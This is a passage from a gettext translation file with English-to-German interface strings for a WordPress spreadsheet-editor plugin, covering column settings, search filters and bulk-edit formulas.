"Disable column. You can enable it later." msgstr "Spalte deaktivieren. Sie können sie später aktivieren." #: columns-visibility/views/form.php:55 columns-visibility/views/form.php:95 msgid "Enable column" msgstr "Spalte aktivieren" #: columns-visibility/views/form.php:63 msgid "Disabled" msgstr "Deaktiviert" #: columns-visibility/views/form.php:70 msgid "Delete all" msgstr "Alles löschen" #: columns-visibility/views/form.php:88 msgid "Enabling this column requires a page reload" msgstr "Das Aktivieren dieser Spalte erfordert ein Neuladen der Seite" #: columns-visibility/views/form.php:107 msgid "A column is missing?" msgstr "Es fehlt eine Spalte?" #: columns-visibility/views/form.php:109 msgid "" "- First, edit one item in the normal editor and fill all the fields manually." msgstr "" "- Bearbeiten Sie zunächst ein Element im normalen Editor, und füllen Sie " "alle Felder manuell aus." #: columns-visibility/views/form.php:118 msgid "" "- We can scan the database, find new fields, and create columns automatically" msgstr "" "- Wir können die Datenbank scannen, neue Felder finden und automatisch " "Spalten erstellen" #: columns-visibility/views/form.php:121 msgid "You can do this multiple times" msgstr "Sie können dies mehrfach tun" #: columns-visibility/views/form.php:121 msgid "Scan Now" msgstr "Jetzt scannen" #: columns-visibility/views/form.php:126 msgid "- If the previous solution failed, you can create new columns manually." msgstr "" "- Wenn die vorherige Lösung fehlgeschlagen ist, können Sie manuell neue " "Spalten erstellen." #: columns-visibility/views/form.php:126 msgid "Create column" msgstr "Spalte erstellen" #: columns-visibility/views/form.php:128 msgid "- Maybe you deleted the columns from the list." msgstr "- Vielleicht haben Sie die Spalten aus der Liste gelöscht." #: columns-visibility/views/form.php:128 msgid "Restore deleted columns" msgstr "Gelöschte Spalten wiederherstellen" #: columns-visibility/views/form.php:129 msgid "- We can help you." msgstr "- Wir können Ihnen helfen." #: columns-visibility/views/form.php:129 #: wp-sheet-editor/dev/wp-sheet-editor.php:830 msgid "Contact us" msgstr "Kontaktieren Sie uns" #: columns-visibility/views/form.php:135 msgid "Save these settings for future sessions?" msgstr "Diese Einstellungen für zukünftige Sitzungen speichern?" #: columns-visibility/views/form.php:143 msgid "Apply settings" msgstr "Einstellungen anwenden" #: columns-visibility/views/form.php:144 filters/filters.php:418 #: formulas/inc/ui.php:175 #: universal-sheet/views/edit-google-sheets-modal.php:23 #: universal-sheet/views/import-modal.php:184 #: woocommerce/views/spreadsheet-create-variations-modal.php:105 #: wp-sheet-editor/dev/inc/teasers/formulas.php:76 #: wp-sheet-editor/dev/inc/teasers/frontend.php:78 #: wp-sheet-editor/dev/inc/teasers/post-types.php:133 #: wp-sheet-editor/dev/views/editor-page.php:186 #: wp-sheet-editor/dev/views/editor-page.php:230 #: wp-sheet-editor/dev/views/editor-page.php:254 #: wp-sheet-editor/dev/views/extensions-modal.php:9 #: wp-sheet-editor/dev/views/settings-form.php:62 #: wp-sheet-editor/dev/views/support-modal.php:23 msgid "Close" msgstr "Schließen" #: custom-columns/custom-columns.php:385 msgid "Add columns for custom fields" msgstr "Fügen Sie Spalten für benutzerdefinierte Felder hinzu" #: custom-columns/custom-columns.php:493 msgid "Missing columns" msgstr "Fehlende Spalten" #: custom-columns/custom-columns.php:542 custom-columns/custom-columns.php:565 #: custom-columns/custom-columns.php:591 msgid "" "You are not allowed to do this action. Please reload the page or log in " "again." msgstr "" "Sie dürfen diese Aktion nicht durchführen. Bitte laden Sie die Seite neu, " "oder loggen Sie sich erneut ein." #: custom-columns/custom-columns.php:545 msgid "Missing post type or column_key" msgstr "Fehlender Beitragstyp oder column_key" #: custom-columns/custom-columns.php:554 msgid "The meta field was deleted successfully" msgstr "Das Metafeld wurde erfolgreich gelöscht" #: custom-columns/custom-columns.php:557 msgid "The meta field could not be deleted." msgstr "Das Metafeld konnte nicht gelöscht werden." #: custom-columns/custom-columns.php:568 msgid "" "Missing post type, old_column_key, or new_column_key; or the old and new key " "are the same." msgstr "" "Fehlender Beitragstyp, old_column_key oder new_column_key; oder der alte und " "der neue Schlüssel sind gleich." #: custom-columns/custom-columns.php:580 msgid "The meta key was renamed successfully" msgstr "Der Metaschlüssel wurde erfolgreich umbenannt" #: custom-columns/custom-columns.php:583 msgid "The meta key couldnt be renamed." msgstr "Der Metaschlüssel konnte nicht umbenannt werden." #: custom-columns/custom-columns.php:602 msgid "Columns could not be saved. Try again." msgstr "" "Die Spalten konnten nicht gespeichert werden. Versuchen Sie es noch einmal." #: custom-columns/custom-columns.php:605 msgid "Changes saved" msgstr "Änderungen gespeichert" #: custom-columns/custom-columns.php:616 msgid "Are you sure you want to delete this column?" msgstr "Sind Sie sicher, dass Sie diese Spalte löschen möchten?" #: custom-columns/custom-columns.php:623 msgid "Custom columns" msgstr "Benutzerdefinierte Spalten" #: custom-columns/views/settings-page.php:10 #: spreadsheet-setup/views/page.php:10 #: wp-sheet-editor/dev/inc/api/bootstrap.php:143 #: wp-sheet-editor/dev/views/editor-page.php:44 #: wp-sheet-editor/dev/views/extensions-page.php:15 #: wp-sheet-editor/dev/views/quick-setup.php:26 #: wp-sheet-editor/dev/views/settings-page.php:4 #: wp-sheet-editor/dev/views/whats-new.php:10 #: wp-sheet-editor/dev/wp-sheet-editor.php:928 msgid "Sheet Editor" msgstr "Blatt-Editor" #: custom-columns/views/settings-page.php:13 msgid "Add New Columns to the Spreadsheet" msgstr "Neue Spalten zum Arbeitsblatt hinzufügen" #: custom-columns/views/settings-page.php:15 msgid "" "Enter the column name (anything you want), and select the field key from the " "dropdown. If you dont find it you can type it in the dropdown. View Tutorial" msgstr "" "Geben Sie den Spaltennamen ein (alles, was Sie wünschen), und wählen Sie den " "Feldschlüssel aus der Dropdown-Liste aus. Wenn Sie ihn nicht finden, können " "Sie ihn in der Dropdown-Liste eingeben. Tutorial anzeigen" #: custom-columns/views/settings-page.php:16 msgid "" "Enable the advanced mode at the bottom of the page to customize the column " "width, format (editor, file upload, taxonomies), etc." msgstr "" "Erweiterten Modus unten auf der Seite aktivieren, um die Spaltenbreite, das " "Format (Editor, Datei-Upload, Taxonomien) usw. anzupassen." #: custom-columns/views/settings-page.php:17 #: wp-sheet-editor/dev/views/quick-setup.php:108 msgid "Need help? Contact us" msgstr "Brauchen Sie Hilfe? Kontaktieren Sie uns" #: custom-columns/views/settings-page.php:37 msgid "Column name" msgstr "Spaltenname" #: custom-columns/views/settings-page.php:37 msgid "The column name displayed in the spreadsheet" msgstr "Der im Arbeitsblatt angezeigte Spaltenname" #: custom-columns/views/settings-page.php:41 msgid "Column key" msgstr "Spaltenschlüssel" #: custom-columns/views/settings-page.php:41 msgid "" "The key that will be used for saving the information in the database. This " "must be unique, only letters and underscores." msgstr "" "Der Schlüssel, der zum Speichern der Information in der Datenbank verwendet " "wird. Dieser muss eindeutig sein, nur Buchstaben und Unterstriche." #: custom-columns/views/settings-page.php:61 msgid "Data source" msgstr "Datenquelle" #: custom-columns/views/settings-page.php:61 msgid "Select the kind of information used in the cells of this column." msgstr "" "Wählen Sie die Art von Informationen aus, die in den Zellen dieser Spalte " "verwendet wird." #: custom-columns/views/settings-page.php:63 msgid "Post data" msgstr "Beitragsdaten" #: custom-columns/views/settings-page.php:64 msgid "Post meta (i.e. metaboxes)" msgstr "Beitrags-Meta (d.h. Metaboxen)" #: custom-columns/views/settings-page.php:65 msgid "Post terms (i.e. categories)" msgstr "Beitrags-Begriffe (d.h. Kategorien)" #: custom-columns/views/settings-page.php:69 msgid "Post type(s)" msgstr "Beitragstyp(en)" #: custom-columns/views/settings-page.php:69 msgid "What kind of posts require this column in the spreadsheet?" msgstr "Welche Art von Beiträgen erfordert diese Spalte im Arbeitsblatt?" #: custom-columns/views/settings-page.php:90 msgid "Is read only?" msgstr "Schreibgeschützt?" #: custom-columns/views/settings-page.php:94 msgid "Allow to edit using formulas?" msgstr "Bearbeitung mit Hilfe von Formeln zulassen?" #: custom-columns/views/settings-page.php:94 msgid "If you disable this option, this column will be edited manually only." msgstr "" "Wenn Sie diese Option deaktivieren, wird diese Spalte nur manuell bearbeitet." #: custom-columns/views/settings-page.php:98 msgid "Allow to hide column?" msgstr "Ausblenden einer Spalte zulassen?" #: custom-columns/views/settings-page.php:98 msgid "Allow to hide this column on the settings page?" msgstr "Darf diese Spalte auf der Einstellungsseite ausgeblendet werden?" #: custom-columns/views/settings-page.php:102 msgid "Allow to rename column?" msgstr "Umbenennen von Spalten zulassen?" #: custom-columns/views/settings-page.php:102 msgid "Allow to rename column on the settings page?" msgstr "Umbenennung von Spalten auf der Einstellungsseite zulassen?" #: custom-columns/views/settings-page.php:106 msgid "Cell type" msgstr "Zellentyp" #: custom-columns/views/settings-page.php:106 msgid "" "Select the format of the cells, if the cells should be normal text, a file " "uploader, or text editor." msgstr "" "Wählen Sie das Format der Zellen, ob die Zellen normaler Text, ein Datei-" "Uploader oder ein Texteditor sein sollen." #: custom-columns/views/settings-page.php:109 msgid "Normal cell" msgstr "Normale Zelle" #: custom-columns/views/settings-page.php:110 msgid "TinyMCE Editor" msgstr "TinyMCE Editor" #: custom-columns/views/settings-page.php:111 msgid "File upload (single)" msgstr "Datei-Upload (einzeln)" #: custom-columns/views/settings-page.php:112 msgid "File upload (multiple)" msgstr "Datei-Upload (mehrere)" #: custom-columns/views/settings-page.php:116 msgid "Plain text mode: Render as: (Use only if cell type is empty)" msgstr "" "Einfacher Textmodus: Rendern als: (Nur verwenden, wenn der Zelltyp leer ist)" #: custom-columns/views/settings-page.php:118 #: custom-columns/views/settings-page.php:127 msgid "Simple text" msgstr "Einfacher Text" #: custom-columns/views/settings-page.php:119 #: custom-columns/views/settings-page.php:128 msgid "Calendar" msgstr "Kalender" #: custom-columns/views/settings-page.php:120 msgid "Taxonomy dropdown. Only if data source = post terms." msgstr "Taxonomie-Dropdown. Nur wenn Datenquelle = Beitragsbegriffe." #: custom-columns/views/settings-page.php:121 #: custom-columns/views/settings-page.php:130 msgid "Unfiltered HTML" msgstr "Ungefiltertes HTML" #: custom-columns/views/settings-page.php:125 msgid "Formatted cell mode: Render as: (Use only if cell type is empty)" msgstr "" "Modus für formatierte Zellen: Rendern als: (Nur verwenden, wenn der Zelltyp " "leer ist)" #: custom-columns/views/settings-page.php:129 msgid "Taxonomy dropdown" msgstr "Taxonomie-Dropdown" #: custom-columns/views/settings-page.php:134 msgid "Column width (pixels)" msgstr "Spaltenbreite (Pixel)" #: custom-columns/views/settings-page.php:140 formulas/inc/ui.php:280 msgid "Delete" msgstr "Löschen" #: custom-columns/views/settings-page.php:147 #: spreadsheet-setup/views/page.php:45 #: wp-sheet-editor/dev/inc/api/editor.php:85 msgid "Add new column" msgstr "Neue Spalte hinzufügen" #: custom-columns/views/settings-page.php:148 #: wp-sheet-editor/dev/inc/api/bootstrap.php:217 #: wp-sheet-editor/dev/views/post-types-form.php:29 #: wp-sheet-editor/dev/views/settings-form.php:61 msgid "Save" msgstr "Speichern" #: custom-columns/views/settings-page.php:151 msgid "Advanced mode" msgstr "Erweiterter Modus" #: factory.php:194 wp-sheet-editor/dev/wp-sheet-editor.php:1154 msgid "My license" msgstr "Meine Lizenz" #: filters/filters.php:177 msgid "" "To search among all posts use the Search tool. Use this to locate and " "highlight one value in the loaded rows in the spreadsheet. I.e. highlight a " "SKU or email or title." msgstr "" "Um unter allen Beiträgen zu suchen, verwenden Sie das Suchwerkzeug. " "Verwenden Sie dieses, um einen Wert in den geladenen Zeilen des " "Arbeitsblatts zu finden und zu markieren. Markieren Sie z.B. eine SKU oder " "eine E-Mail oder eine Anrede." #: filters/filters.php:178 msgid "Locate cell" msgstr "Zelle suchen" #: filters/filters.php:179 msgid "Locate cell." msgstr "Zelle suchen." #: filters/filters.php:183 msgid "" "Enter a word and we will find the first matching column. You will avoid " "scrolling through dozens of columns to find the one you need." msgstr "" "Geben Sie ein Wort ein, und wir finden die erste passende Spalte. Sie " "vermeiden es, durch Dutzende von Spalten zu blättern, um die Spalte zu " "finden, die Sie benötigen." #: filters/filters.php:184 filters/filters.php:185 msgid "Locate column" msgstr "Spalte suchen" #: filters/filters.php:196 filters/filters.php:204 filters/filters.php:366 msgid "Search" msgstr "Suche" #: filters/filters.php:204 msgid "Quick search" msgstr "Schnellsuche" #: filters/filters.php:204 msgid "Enter a keyword" msgstr "Schlüsselwort eingeben" #: filters/filters.php:342 msgid "Contains keyword" msgstr "Enthält Schlüsselwort" #: filters/filters.php:343 msgid "" "It searches in the post title and post content.
                  Search by multiple " "keywords separating keywords with a semicolon (;)" msgstr "" "Suche in Titel und Inhalt des Beitrags.
                  Suche nach mehreren " "Schlüsselwörtern; Schlüsselwörter durch ein Semikolon (;) trennen" #: filters/filters.php:350 wp-sheet-editor/dev/inc/api/bootstrap.php:528 #: wp-sheet-editor/dev/inc/teasers/post-types.php:99 msgid "Status" msgstr "Status" #: filters/filters.php:354 wp-sheet-editor/dev/inc/api/bootstrap.php:496 msgid "Author" msgstr "Autor" #: filters/filters.php:417 msgid "Run search" msgstr "Suche ausführen" #: formulas/formulas.php:128 msgid "Invalid #898AJSI. The replace requires 2 parameters, we received one" msgstr "" "Fehler #898AJSI. Die Ersetzung erfordert 2 Parameter, wir haben einen " "erhalten" #: formulas/formulas.php:141 msgid "Invalid #8W89PQ. Math formula is empty." msgstr "Fehler #8W89PQ. Die mathematische Formel ist leer." #: formulas/formulas.php:148 msgid "Invalid #PQ8SPQ. The math formula contains a comma: %s" msgstr "Fehler #PQ8SPQ. Die mathematische Formel enthält ein Komma: %s" #: formulas/formulas.php:154 msgid "" "Invalid #8W23CV. We accept MATH and REPLACE formulas only, we received an " "unknown formula type." msgstr "" "Fehler #8W23CV. Wir akzeptieren nur mathematische und Ersetzungs-Formeln, " "wir haben einen unbekannten Formeltyp erhalten." #: formulas/formulas.php:274 msgid "" "The math formula can't be applied. We found some existing data is not " "numeric. Data found: %s, ID: %d" msgstr "" "Die mathematische Formel kann nicht angewendet werden. Wir haben " "festgestellt, dass einige vorhandene Daten nicht numerisch sind. Daten " "gefunden: %s, ID: %d" #: formulas/formulas.php:282 msgid "Error. The math engine could not execute the math operation: %s, ID: %d" msgstr "" "Fehler. Die Mathematik-Engine konnte die mathematische Operation nicht " "ausführen: %s, ID: %d" #: formulas/formulas.php:405 msgid "Value in the replace section is not valid" msgstr "Wert im Ersetzungsabschnitt ist nicht gültig" #: formulas/formulas.php:781 msgid "Missing number and time unit." msgstr "Fehlende Zahl und Zeiteinheit." #: formulas/formulas.php:785 msgid "Invalid time unit." msgstr "Ungültige Zeiteinheit." #: formulas/formulas.php:790 msgid "The column selected is not valid." msgstr "Die ausgewählte Spalte ist nicht gültig." #: formulas/formulas.php:1069 msgid "Bulk edit not executed. No items found matching the criteria." msgstr "" "Massenbearbeitung nicht ausgeführt. Es wurden keine Elemente gefunden, die " "den Kriterien entsprechen." #: formulas/formulas.php:1078 universal-sheet/inc/csv-api.php:507 msgid "

                  Complete

                  ." msgstr "

                  Vollständig

                  ." #: formulas/formulas.php:1095 msgid "" "

                  Editing the field: " "{column_label}. Items to process: {total}, Progress: " "{progress_percentage}%%, We have updated {edited} items.

                  " msgstr "" "

                  Bearbeitung des " "Feldes: {column_label}. Zu bearbeitende Punkte: {total}, Fortschritt: " "{progress_percentage}%%, Wir haben {edited} Punkte aktualisiert.

                  " #: formulas/inc/ui.php:64 formulas/inc/ui.php:263 msgid "Bulk Edit" msgstr "Massen-Bearbeitung" #: formulas/inc/ui.php:76 msgid "Using this tool you can update thousands of rows at once" msgstr "" "Mit diesem Tool können Sie Tausende von Zeilen auf einmal aktualisieren" #: formulas/inc/ui.php:77 msgid "Need help? Check our tutorials" msgstr "Brauchen Sie Hilfe? Sehen Sie in unsere Tutorials" #: formulas/inc/ui.php:82 msgid "Select the rows that you want to update." msgstr "Wählen Sie die Zeilen aus, die Sie aktualisieren möchten." #: formulas/inc/ui.php:85 msgid "Edit all the rows from my current search (including non-visible rows)." msgstr "" "Alle Zeilen meiner aktuellen Suche bearbeiten (einschließlich der nicht " "sichtbaren Zeilen)." #: formulas/inc/ui.php:86 msgid "I want to search rows to update and edit all the search results" msgstr "" "Ich möchte Zeilen durchsuchen, um alle Suchergebnisse zu aktualisieren und " "zu bearbeiten" #: formulas/inc/ui.php:87 msgid "Edit the rows that I selected manually in the spreadsheet." msgstr "" "Die Zeilen bearbeiten, die ich manuell im Arbeitsblatt ausgewählt habe." #: formulas/inc/ui.php:89 msgid "Make another search" msgstr "Neue Suche starten" #: formulas/inc/ui.php:97 msgid "What field do you want to edit?" msgstr "Welches Feld möchten Sie bearbeiten?" #: formulas/inc/ui.php:98 formulas/inc/ui.php:111 #: universal-sheet/views/export-modal.php:24 msgid "Select column..." msgstr "Spalte auswählen..." #: formulas/inc/ui.php:108 msgid "" "A column is missing? Enable it" msgstr "" "Es fehlt eine Spalte? Aktivieren Sie sie" #: formulas/inc/ui.php:126 msgid "Generated formula:" msgstr "Generierte Formel:" #: formulas/inc/ui.php:131 msgid "Use slower execution method?" msgstr "Langsamere Ausführungsmethode verwenden?" #: formulas/inc/ui.php:131 msgid "" "The default way uses a faster execution method, but it might not work in all " "the cases. Use this option when the default way doesn't work or doesn't " "update all the posts." msgstr "" "Die Standardmethode verwendet eine schnellere Ausführungsmethode, aber sie " "funktioniert möglicherweise nicht in allen Fällen. Verwenden Sie diese " "Option, wenn die Standardmethode nicht funktioniert oder nicht alle Beiträge " "aktualisiert." #: formulas/inc/ui.php:135 msgid "Execute formula on future posts automatically (Advanced users only)" msgstr "" "Formel bei zukünftigen Beiträgen automatisch ausführen (nur für " "fortgeschrittene Benutzer)" #: formulas/inc/ui.php:135 msgid "" "If you mark this option , when you create or update a post in the " "spreadsheet, we will check if the post matches the formula parameters and " "execute the formula automatically on that post. For example. When you create " "a product with category apples we can set the description automatically, or " "when you change the SKU we can update the downloadable files URLs " "automatically." msgstr "" "Wenn Sie diese Option markieren, prüfen wir beim Anlegen oder Aktualisieren " "eines Beitrags im Arbeitsblatt, ob der Beitrag mit den Formelparametern " "übereinstimmt, und führen die Formel automatisch für diesen Beitrag aus. Zum " "Beispiel: Wenn Sie ein Produkt mit der Kategorie Äpfel erstellen, können wir " "die Beschreibung automatisch einstellen, oder wenn Sie die SKU ändern, " "können wir die URLs der herunterladbaren Dateien automatisch aktualisieren." #: formulas/inc/ui.php:138 msgid "%s rows will be edited." msgstr "%s Zeilen werden bearbeitet." #: formulas/inc/ui.php:138 msgid "You can select the rows for the edit in the first option of this form." msgstr "" "In der ersten Option dieses Formulars können Sie die Zeilen für die " "Bearbeitung auswählen." #: formulas/inc/ui.php:148 msgid "I have a database backup, Execute Now" msgstr "Ich habe eine Datenbanksicherung, jetzt ausführen" #: formulas/inc/ui.php:150 msgid "Execute Now" msgstr "Jetzt ausführen" #: formulas/inc/ui.php:153 msgid "Execute on future posts only" msgstr "Nur bei zukünftigen Beiträgen ausführen" #: formulas/inc/ui.php:154 posts-templates/posts-templates.php:87 #: universal-sheet/views/export-modal.php:13 #: universal-sheet/views/export-modal.php:68 #: universal-sheet/views/import-modal.php:14 msgid "Cancel" msgstr "Abbrechen" #: formulas/inc/ui.php:157 msgid "" "

                  1- Please backup your database before executing, the changes are not " "reversible.

                  2- Make sure the bulk edit settings are correct before " "executing.

                  " msgstr "" "

                  1- Bitte sichern Sie Ihre Datenbank vor der Ausführung, die Änderungen " "sind nicht umkehrbar.

                  2- Stellen Sie vor der Ausführung sicher, dass " "die Massenbearbeitungseinstellungen korrekt sind.

                  " #: formulas/inc/ui.php:159 msgid "" "Careful. The changes are not reversible. Please double check proceeding." msgstr "" "Vorsicht: Die Änderungen sind nicht umkehrbar. Bitte überprüfen Sie sie noch " "einmal, bevor Sie fortfahren." #: formulas/inc/ui.php:166 msgid "" "The bulk edit is running. Please dont close this window until the process " "has finished." msgstr "" "Die Massenbearbeitung läuft. Bitte schließen Sie dieses Fenster nicht, bevor " "der Prozess abgeschlossen ist." #: formulas/inc/ui.php:168 msgid "" "Tip: The formula execution is too slow? Save more posts per batch
                  Are you getting errors when " "executing the formula? Save less posts per batch" msgstr "" "Tipp: Die Formelausführung ist zu langsam? Speichern Sie mehr Positionenje Verarbeitungszyklus
                  Erhalten Sie Fehler bei der Ausführung der Formel? Speichern Sie weniger Positionenje Verarbeitungszyklus" #: formulas/inc/ui.php:171 universal-sheet/views/export-modal.php:62 #: universal-sheet/views/import-modal.php:183 msgid "Pause" msgstr "Pause" #: formulas/inc/ui.php:171 wp-sheet-editor/dev/views/quick-setup.php:76 #: wp-sheet-editor/dev/views/quick-setup.php:100 msgid "Go back" msgstr "Zurück" #: formulas/inc/ui.php:173 msgid "Processing..." msgstr "Wird verarbeitet..." #: formulas/inc/ui.php:179 msgid "" "Here you can view all the formulas saved for ongoing execution. These " "formulas will be executed on posts matching the filters when they are " "created or updated in the spreadsheet." msgstr "" "Hier können Sie alle für die laufende Ausführung gespeicherten Formeln " "anzeigen. Diese Formeln werden bei Beiträgen ausgeführt, die den Filtern " "entsprechen, wenn sie im Arbeitsblatt erstellt oder aktualisiert werden." #: formulas/inc/ui.php:180 msgid "" "Note. If you want to modify saved formulas you have to delete the formula " "and create it again in the formulas builder." msgstr "" "Achtung: Wenn Sie gespeicherte Formeln ändern möchten, müssen Sie die Formel " "löschen und im Formel-Editor neu anlegen." #: formulas/inc/ui.php:186 msgid "You haven't saved formulas yet." msgstr "Sie haben noch keine Formeln gespeichert." #: formulas/inc/ui.php:206 msgid "Field to update:" msgstr "Zu aktualisierendes Feld:" #: formulas/inc/ui.php:207 msgid "Formula type:" msgstr "Formel-Typ:" #: formulas/inc/ui.php:208 msgid "Formula parameters:" msgstr "Formelparameter:" #: formulas/inc/ui.php:208 msgid "Parameter:" msgstr "Parameter:" #: formulas/inc/ui.php:209 msgid "Apply to:" msgstr "Anwenden auf:" #: formulas/inc/ui.php:211 msgid "All" msgstr "Alle" #: formulas/inc/ui.php:272 msgid "Edit" msgstr "Bearbeiten" #: formulas/inc/ui.php:291 msgid "Remove duplicates by title (delete the latest)" msgstr "Titel-Duplikate entfernen (neuesten Artikel löschen)" #: formulas/inc/ui.php:299 msgid "Remove duplicates by title (delete the oldest)" msgstr "Titel-Duplikate entfernen (ältesten Artikel löschen)" #: formulas/inc/ui.php:324 msgid "More options" msgstr "Mehr Optionen" #: formulas/inc/ui.php:356 msgid "The bulk edit is missing important information, please fill the form." msgstr "" "Bei der Massenbearbeitung fehlen wichtige Informationen, bitte füllen Sie " "das Formular aus." #: formulas/inc/ui.php:357 msgid "Select type of edit" msgstr "Art der Bearbeitung auswählen" #: formulas/inc/ui.php:358 msgid "- -" msgstr "- -" #: formulas/inc/ui.php:359 msgid "You entered an invalid formula. Please double check or contact us." msgstr "" "Sie haben eine ungültige Formel eingegeben. Bitte überprüfen Sie dies oder " "kontaktieren Sie uns." #: formulas/inc/ui.php:365 msgid "Math operation" msgstr "Mathematische Operation" #: formulas/inc/ui.php:366 msgid "" "Update existing value with the result of a math operation.
                  The result is " "rounded to the 2 nearest decimals. I.e. 3.845602 becomes 3.85" msgstr "" "Vorhandenen Wert mit dem Ergebnis einer mathematischen Operation " "aktualisieren.
                  Das Ergebnis wird auf 2 Dezimalstellen gerundet. D.h. aus " "3,845602 wird 3,85" #: formulas/inc/ui.php:378 msgid "Math formula" msgstr "Mathematische Formel" #: formulas/inc/ui.php:379 msgid "" "Example 1: $current_value$ + 2 * 5.
                  Example 2: $_regular_price$ * 0.7 " "(Set regular price - 30%)" msgstr "" "Beispiel 1: $current_value$ + 2 * 5.
                  Beispiel 2: $_regular_price$ * 0,7 " "(Regulärer Preis - 30%)" #: formulas/inc/ui.php:385 woocommerce/woocommerce.php:240 msgid "Decrease by percentage" msgstr "Verringern um Prozentsatz" #: formulas/inc/ui.php:386 msgid "" "Decrease the existing value by a percentage.
                  The result is rounded to the " "2 nearest decimals. I.e. 3.845602 becomes 3.85" msgstr "" "Den vorhandenen Wert um einen Prozentsatz verringern.
                  Das Ergebnis wird " "auf 2 Dezimalstellen gerundet. D.h. 3,845602 wird zu 3,85" #: formulas/inc/ui.php:399 formulas/inc/ui.php:420 #: woocommerce/woocommerce.php:223 msgid "Decrease by" msgstr "Verringern um" #: formulas/inc/ui.php:400 formulas/inc/ui.php:442 msgid "Enter the percentage number." msgstr "Die Prozentzahl eingeben." #: formulas/inc/ui.php:406 msgid "Decrease by number" msgstr "Verringern um Anzahl" #: formulas/inc/ui.php:407 msgid "" "Decrease the existing value by a number.
                  The result is rounded to the 2 " "nearest decimals. I.e. 3.845602 becomes 3.85" msgstr "" "Den vorhandenen Wert um eine Zahl verringern.
                  Das Ergebnis wird auf 2 " "Dezimalstellen gerundet. D.h. aus 3,845602 wird 3,85" #: formulas/inc/ui.php:421 formulas/inc/ui.php:463 formulas/inc/ui.php:520 msgid "Enter the number." msgstr "Die Zahl eingeben." #: formulas/inc/ui.php:427 msgid "Increase by percentage" msgstr "Erhöhen um Prozentzahl" #: formulas/inc/ui.php:428 msgid "" "Increase the existing value by a percentage.
                  The result is rounded to the " "2 nearest decimals. I.e. 3.845602 becomes 3.85" msgstr "" "Den vorhandenen Wert um einen Prozentsatz erhöhen.
                  Das Ergebnis wird auf " "2 Dezimalstellen gerundet. D.h. aus 3,845602 wird 3,85" #: formulas/inc/ui.php:441 formulas/inc/ui.php:462 msgid "Increase by" msgstr "Erhöhen um" #: formulas/inc/ui.php:448 msgid "Increase by number" msgstr "Erhöhen um Zahl" #: formulas/inc/ui.php:449 msgid "" "Increase the existing value by a number.
                  The result is rounded to the 2 " "nearest decimals. I.e. 3.845602 becomes 3.85" msgstr "" "Den vorhandenen Wert um eine Zahl erhöhen.
                  Das Ergebnis wird auf 2 " "Dezimalstellen gerundet. D.h. aus 3,845602 wird 3,85" #: formulas/inc/ui.php:469 msgid "Set value" msgstr "Wert festlegen" #: formulas/inc/ui.php:470 msgid "" "Replace existing value with this value. Read more" msgstr "" "Ersetzen Sie den vorhandenen Wert durch diesen Wert. Weiterlesen" #: formulas/inc/ui.php:484 formulas/inc/ui.php:894 msgid "Replace" msgstr "Ersetzen" #: formulas/inc/ui.php:485 msgid "" "Replace a word, phrase, or number with a new value. Read more" msgstr "" "Ersetzen Sie ein Wort, einen Ausdruck oder eine Zahl durch einen neuen Wert. " "Weiterlesen" #: formulas/inc/ui.php:494 formulas/inc/ui.php:966 msgid "Replace this" msgstr "Dies ersetzen" #: formulas/inc/ui.php:498 formulas/inc/ui.php:971 msgid "With this" msgstr "Mit diesem" #: formulas/inc/ui.php:504 msgid "Generate excerpt" msgstr "Auszug erzeugen" #: formulas/inc/ui.php:505 msgid "" "If the column has a very long text, we will remove the html and shorten it " "to a number of words." msgstr "" "Wenn die Spalte einen sehr langen Text hat, entfernen wir das HTML und " "kürzen es auf eine Anzahl von Wörtern." #: formulas/inc/ui.php:519 msgid "Maximum number of words" msgstr "Maximale Wortanzahl" #: formulas/inc/ui.php:526 msgid "Capitalize words" msgstr "Wörter groß schreiben" #: formulas/inc/ui.php:527 msgid "" "Capitalize the first letter of every word in the field. I.e. convert \"my " "title\" into \"My Title\"." msgstr "" "Schreiben Sie den ersten Buchstaben jedes Wortes im Feld groß. D.h. wandeln " "Sie \"mein Titel\" in \"Mein Titel\" um." #: formulas/inc/ui.php:546 msgid "Clear value" msgstr "Wert löschen" #: formulas/inc/ui.php:547 msgid "" "Remove the existing value and leave the field empty. Read more" msgstr "" "Entfernen Sie den vorhandenen Wert und lassen Sie das Feld leer. Weiterlesen" #: formulas/inc/ui.php:566 msgid "Remove duplicates" msgstr "Duplikate entfernen" #: formulas/inc/ui.php:567 msgid "" "Read " "more" msgstr "" "Weiterlesen" #: formulas/inc/ui.php:575 msgid "Which duplicates do you want to delete?" msgstr "Welche Dubletten möchten Sie löschen?" #: formulas/inc/ui.php:577 msgid "Delete the newest items and keep the oldest item" msgstr "Löschen Sie die neuesten Elemente und behalten Sie das älteste Element" #: formulas/inc/ui.php:577 msgid "Delete the old items and keep the newest item" msgstr "Löschen Sie die alten Elemente, und behalten Sie das neueste Element" #: formulas/inc/ui.php:583 msgid "Append" msgstr "Anhängen" #: formulas/inc/ui.php:595 msgid "Enter the value to append to the existing value." msgstr "Den Wert eingeben, der an den vorhandenen Wert angehängt werden soll." #: formulas/inc/ui.php:601 msgid "Prepend" msgstr "Voranstellen" #: formulas/inc/ui.php:613 msgid "Enter the value to prepend to the existing value." msgstr "Den Wert eingeben, der dem vorhandenen Wert vorangestellt werden soll." #: formulas/inc/ui.php:619 msgid "Custom formula" msgstr "Benutzerdefinierte Formel" #: formulas/inc/ui.php:631 msgid "" "Only for advanced users. Read more." msgstr "" "Nur für fortgeschrittene Benutzer. Weiterlesen." #: formulas/inc/ui.php:637 msgid "Copy from other columns" msgstr "Aus anderen Spalten kopieren" #: formulas/inc/ui.php:642 msgid "" "Copy the value of other fields into this field.
                  Example, copy \"sale " "price\" into the \"regular price\" field." msgstr "" "Den Wert anderer Felder in dieses Feld kopieren.
                  Beispiel: Kopieren Sie " "\"Sonderpreis\" in das Feld \"Normaler Preis\"." #: formulas/inc/ui.php:657 msgid "Copy from this column" msgstr "Aus dieser Spalte kopieren" #: formulas/inc/ui.php:686 msgid "Add time to existing dates" msgstr "Uhrzeit zu bestehenden Daten hinzufügen" #: formulas/inc/ui.php:687 msgid "" "Add hours, days, weeks, months, or years to the existing dates.
                  If the " "existing date is empty, we will use the current date as a base." msgstr "" "Fügen Sie Stunden, Tage, Wochen, Monate oder Jahre zu den vorhandenen Daten " "hinzu.
